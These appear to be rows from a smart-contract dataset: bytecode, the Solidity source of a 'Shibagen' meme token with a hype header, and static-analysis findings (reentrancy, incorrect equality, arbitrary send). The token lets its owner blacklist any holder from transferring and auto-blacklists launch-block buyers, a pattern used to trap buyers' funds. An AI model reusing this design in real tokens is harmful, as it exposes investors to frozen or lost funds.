fffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611351576111bd8383836114f0565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a906118ad565b60405180910390fd5b818161124f9190611a3a565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112df91906119e4565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161134391906119ad565b60405180910390a3506113a8565b60011515600860009054906101000a900460ff161515146113a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139e9061194d565b60405180910390fd5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561141d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114149061190d565b60405180910390fd5b8060045461142b9190611a3a565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806003600082825461147f9190611a3a565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114e491906119ad565b60405180910390a35050565b505050565b60008135905061150481611e7d565b92915050565b60008135905061151981611e94565b92915050565b60006020828403121561153157600080fd5b600061153f848285016114f5565b91505092915050565b6000806040838503121561155b57600080fd5b6000611569858286016114f5565b925050602061157a858286016114f5565b9150509250929050565b60008060006060848603121561159957600080fd5b60006115a7868287016114f5565b93505060206115b8868287016114f5565b92505060406115c98682870161150a565b9150509250925092565b600080604083850312156115e657600080fd5b60006115f4858286016114f5565b92505060206116058582860161150a565b9150509250929050565b60006020828403121561162157600080fd5b600061162f8482850161150a565b91505092915050565b61164181611a80565b82525050565b6000611652826119c8565b61165c81856119d3565b935061166c818560208601611ab6565b61167581611b79565b840191505092915050565b600061168d6023836119d3565b915061169882611b8a565b604082019050919050565b60006116b06029836119d3565b91506116bb82611bd9565b604082019050919050565b60006116d36022836119d3565b91506116de82611c28565b604082019050919050565b60006116f66026836119d3565b915061170182611c77565b604082019050919050565b60006117196028836119d3565b915061172482611cc6565b604082019050919050565b600061173c6020836119d3565b915061174782611d15565b602082019050919050565b600061175f6021836119d3565b915061176a82611d3e565b604082019050919050565b60006117826025836119d3565b915061178d82611d8d565b604082019050919050565b60006117a56000836119d3565b91506117b082611ddc565b600082019050919050565b60006117c86024836119d3565b91506117d382611ddf565b604082019050919050565b60006117eb6025836119d3565b91506117f682611e2e565b604082019050919050565b61180a81611aac565b82525050565b60006020820190506118256000830184611638565b92915050565b600060208201905081810360008301526118458184611647565b905092915050565b6000602082019050818103600083015261186681611680565b9050919050565b60006020820190508181036000830152611886816116a3565b9050919050565b600060208201905081810360008301526118a6816116c6565b9050919050565b600060208201905081810360008301526118c6816116e9565b9050919050565b600060208201905081810360008301526118e68161170c565b9050919050565b600060208201905081810360008301526119068161172f565b9050919050565b6000602082019050818103600083015261192681611752565b9050919050565b6000602082019050818103600083015261194681611775565b9050919050565b6000602082019050818103600083015261196681611798565b9050919050565b60006020820190508181036000830152611986816117bb565b9050919050565b600060208201905081810360008301526119a6816117de565b9050919050565b60006020820190506119c26000830184611801565b92915050565b600081519050919050565b600082825260208201905092915050565b60006119ef82611aac565b91506119fa83611aac565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611a2f57611a2e611b1b565b5b828201905092915050565b6000611a4582611aac565b9150611a5083611aac565b925082821015611a6357611a62611b1b565b5b828203905092915050565b6000611a7982611a8c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b83811015611ad4578082015181840152602081019050611ab9565b83811115611ae3576000848401525b50505050565b60006002820490506001821680611b0157607f821691505b60208210811415611b1557611b14611b4a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677261746572207460008201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611e8681611a6e565b8114611e9157600080fd5b50565b611e9d81611aac565b8114611ea857600080fd5b5056fea264697066735822122018c0dbdb7f4d2c515f939f0f0a69088ed5b34e95785951d66fb0b18c1929838364736f6c63430008010033 | {"success": true, "error": null, "results": {}} | 10,567 |
0x9a147bfe8e2b54828f031e08acf008155608895b | // SPDX-License-Identifier: Unlicensed
/*
A casino is a place that some people find similar to a hotel, where you can enjoy various types staying up all night but enjoying gambling activities at the same time.
However, Casino is actually a Colosseum. It is a place for gladiators to fight, to seize, to conqueror.
You either double your bet or you earn nothing if you are not a fighter material.
Living in a cryptocurrency world is exactly like gambling in a Casino; you need to play to earn your profit.
Shibagen is designed to tell those jeets. You either die like a gladiators or live long to see yourself becomes a stupid loser. Be bold, not jeets!
Telegram: https://t.me/shibageninu
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract Shibagen is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Shibagen";
string private constant _symbol = unicode"Shibagen";
uint private constant _decimals = 9;
uint256 private _teamFee = 10;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0);
require(!_isBot[from]);
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(10).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized);
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (5 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee < 15);
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
} | 0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103bf578063cf0848f7146103d4578063cf9d4afa146103f4578063dd62ed3e14610414578063e6ec64ec1461045a578063f2fde38b1461047a57600080fd5b8063715018a6146103225780638da5cb5b1461033757806390d49b9d1461035f57806395d89b4114610172578063a9059cbb1461037f578063b515566a1461039f57600080fd5b806331c2d8471161010857806331c2d8471461023b5780633bbac5791461025b578063437823ec14610294578063476343ee146102b45780635342acb4146102c957806370a082311461030257600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b257806318160ddd146101e257806323b872dd14610207578063313ce5671461022757600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017061049a565b005b34801561017e57600080fd5b50604080518082018252600881526729b434b130b3b2b760c11b602082015290516101a99190611759565b60405180910390f35b3480156101be57600080fd5b506101d26101cd3660046117d3565b6104e6565b60405190151581526020016101a9565b3480156101ee57600080fd5b50670de0b6b3a76400005b6040519081526020016101a9565b34801561021357600080fd5b506101d26102223660046117ff565b6104fd565b34801561023357600080fd5b5060096101f9565b34801561024757600080fd5b50610170610256366004611856565b610566565b34801561026757600080fd5b506101d261027636600461191b565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a057600080fd5b506101706102af36600461191b565b6105fc565b3480156102c057600080fd5b5061017061064a565b3480156102d557600080fd5b506101d26102e436600461191b565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561030e57600080fd5b506101f961031d36600461191b565b610684565b34801561032e57600080fd5b506101706106a6565b34801561034357600080fd5b506000546040516001600160a01b0390911681526020016101a9565b34801561036b57600080fd5b5061017061037a36600461191b565b6106dc565b34801561038b57600080fd5b506101d261039a3660046117d3565b610756565b3480156103ab57600080fd5b506101706103ba366004611856565b610763565b3480156103cb57600080fd5b5061017061087c565b3480156103e057600080fd5b506101706103ef36600461191b565b6108e6565b34801561040057600080fd5b5061017061040f36600461191b565b610931565b34801561042057600080fd5b506101f961042f366004611938565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046657600080fd5b50610170610475366004611971565b610b8c565b34801561048657600080fd5b5061017061049536600461191b565b610bc8565b6000546001600160a01b031633146104cd5760405162461bcd60e51b81526004016104c49061198a565b60405180910390fd5b60006104d830610684565b90506104e381610c60565b50565b60006104f3338484610dda565b5060015b92915050565b600061050a848484610efe565b61055c843361055785604051806060016040528060288152602001611b05602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611242565b610dda565b5060019392505050565b6000546001600160a01b031633146105905760405162461bcd60e51b81526004016104c49061198a565b60005b81518110156105f8576000600560008484815181106105b4576105b46119bf565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f0816119eb565b915050610593565b5050565b6000546001600160a01b031633146106265760405162461bcd60e51b81526004016104c49061198a565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105f8573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f79061127c565b6000546001600160a01b031633146106d05760405162461bcd60e51b81526004016104c49061198a565b6106da6000611300565b565b6000546001600160a01b031633146107065760405162461bcd60e51b81526004016104c49061198a565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f3338484610efe565b6000546001600160a01b0316331461078d5760405162461bcd60e51b81526004016104c49061198a565b60005b81518110156105f857600c5482516001600160a01b03909116908390839081106107bc576107bc6119bf565b60200260200101516001600160a01b03161415801561080d5750600b5482516001600160a01b03909116908390839081106107f9576107f96119bf565b60200260200101516001600160a01b031614155b1561086a5760016005600084848151811061082a5761082a6119bf565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610874816119eb565b915050610790565b6000546001600160a01b031633146108a65760405162461bcd60e51b81526004016104c49061198a565b600c54600160a01b900460ff166108bc57600080fd5b600c805460ff60b81b1916600160b81b17905542600d8190556108e19061012c611a06565b600e55565b6000546001600160a01b031633146109105760405162461bcd60e51b81526004016104c49061198a565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b0316331461095b5760405162461bcd60e51b81526004016104c49061198a565b600c54600160a01b900460ff16156109c35760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c4565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3e9190611a1e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aaf9190611a1e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610afc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b209190611a1e565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610bb65760405162461bcd60e51b81526004016104c49061198a565b600f8110610bc357600080fd5b600855565b6000546001600160a01b03163314610bf25760405162461bcd60e51b81526004016104c49061198a565b6001600160a01b038116610c575760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c4565b6104e381611300565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ca857610ca86119bf565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d259190611a1e565b81600181518110610d3857610d386119bf565b6001600160a01b039283166020918202929092010152600b54610d5e9130911684610dda565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d97908590600090869030904290600401611a3b565b600060405180830381600087803b158015610db157600080fd5b505af1158015610dc5573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610e3c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c4565b6001600160a01b038216610e9d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c4565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f625760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c4565b6001600160a01b038216610fc45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c4565b60008111610fd157600080fd5b6001600160a01b03831660009081526005602052604090205460ff1615610ff757600080fd5b6001600160a01b03831660009081526004602052604081205460ff1615801561103957506001600160a01b03831660009081526004602052604090205460ff16155b801561104f5750600c54600160a81b900460ff16155b801561107f5750600c546001600160a01b038581169116148061107f5750600c546001600160a01b038481169116145b1561123057600c54600160b81b900460ff166110dd5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c4565b50600c546001906001600160a01b03858116911614801561110c5750600b546001600160a01b03848116911614155b8015611119575042600e54115b1561116057600061112984610684565b90506111496064611143670de0b6b3a76400006002611350565b906113cf565b6111538483611411565b111561115e57600080fd5b505b600d5442141561118e576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061119930610684565b600c54909150600160b01b900460ff161580156111c45750600c546001600160a01b03868116911614155b1561122e57801561122e57600c546111f89060649061114390600f906111f2906001600160a01b0316610684565b90611350565b81111561122557600c546112229060649061114390600a906111f2906001600160a01b0316610684565b90505b61122e81610c60565b505b61123c84848484611470565b50505050565b600081848411156112665760405162461bcd60e51b81526004016104c49190611759565b5060006112738486611aac565b95945050505050565b60006006548211156112e35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c4565b60006112ed611573565b90506112f983826113cf565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008261135f575060006104f7565b600061136b8385611ac3565b9050826113788583611ae2565b146112f95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c4565b60006112f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611596565b60008061141e8385611a06565b9050838110156112f95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c4565b808061147e5761147e6115c4565b60008060008061148d876115e0565b6001600160a01b038d16600090815260016020526040902054939750919550935091506114ba9085611627565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546114e99084611411565b6001600160a01b03891660009081526001602052604090205561150b81611669565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161155091815260200190565b60405180910390a3505050508061156c5761156c600954600855565b5050505050565b60008060006115806116b3565b909250905061158f82826113cf565b9250505090565b600081836115b75760405162461bcd60e51b81526004016104c49190611759565b5060006112738486611ae2565b6000600854116115d357600080fd5b6008805460095560009055565b6000806000806000806115f5876008546116f3565b915091506000611603611573565b90506000806116138a8585611720565b909b909a5094985092965092945050505050565b60006112f983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611242565b6000611673611573565b905060006116818383611350565b3060009081526001602052604090205490915061169e9082611411565b30600090815260016020526040902055505050565b6006546000908190670de0b6b3a76400006116ce82826113cf565b8210156116ea57505060065492670de0b6b3a764000092509050565b90939092509050565b6000808061170660646111438787611350565b905060006117148683611627565b96919550909350505050565b6000808061172e8685611350565b9050600061173c8686611350565b9050600061174a8383611627565b92989297509195505050505050565b600060208083528351808285015260005b818110156117865785810183015185820160400152820161176a565b81811115611798576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e357600080fd5b80356117ce816117ae565b919050565b600080604083850312156117e657600080fd5b82356117f1816117ae565b946020939093013593505050565b60008060006060848603121561181457600080fd5b833561181f816117ae565b9250602084013561182f816117ae565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561186957600080fd5b823567ffffffffffffffff8082111561188157600080fd5b818501915085601f83011261189557600080fd5b8135818111156118a7576118a7611840565b8060051b604051601f19603f830116810181811085821117156118cc576118cc611840565b6040529182528482019250838101850191888311156118ea57600080fd5b938501935b8285101561190f57611900856117c3565b845293850193928501926118ef565b98975050505050505050565b60006020828403121561192d57600080fd5b81356112f9816117ae565b6000806040838503121561194b57600080fd5b8235611956816117ae565b91506020830135611966816117ae565b809150509250929050565b60006020828403121561198357600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119ff576119ff6119d5565b5060010190565b60008219821115611a1957611a196119d5565b500190565b600060208284031215611a3057600080fd5b81516112f9816117ae565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a8b5784516001600160a01b031683529383019391830191600101611a66565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611abe57611abe6119d5565b500390565b6000816000190483118215151615611add57611add6119d5565b500290565b600082611aff57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122090021ad6b359e6fa48ef0a65641701dd91071eaa44b36cecae917976a9b9f87864736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,568 |
0x9081ceb359b6f42640651e11f5bfb4d4b84aa66f | pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
